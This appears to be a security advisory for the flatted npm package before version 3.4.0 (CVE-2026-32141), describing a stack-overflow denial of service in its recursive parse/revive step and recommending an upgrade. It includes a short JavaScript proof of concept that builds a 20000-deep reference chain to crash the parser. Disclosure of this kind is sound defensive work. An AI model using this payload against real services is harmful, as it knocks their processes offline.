Uncontrolled Recursion Affecting flatted package, versions <3.4.0
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- published13 Mar 2026
- disclosed12 Mar 2026
- creditByambadalai Sumiya
Introduced: 12 Mar 2026
CVE-2026-32141 (opens in a new tab)How to fix?
Upgrade flatted to version 3.4.0 or higher.
Overview
Affected versions of this package are vulnerable to Uncontrolled Recursion via the parse function due to using a recursive revive() phase to resolve circular references in deserialized JSON. An attacker can cause a stack overflow and crash the process by supplying a crafted payload with deeply nested or self-referential indices.
PoC
const flatted = require('flatted');
// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';
const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded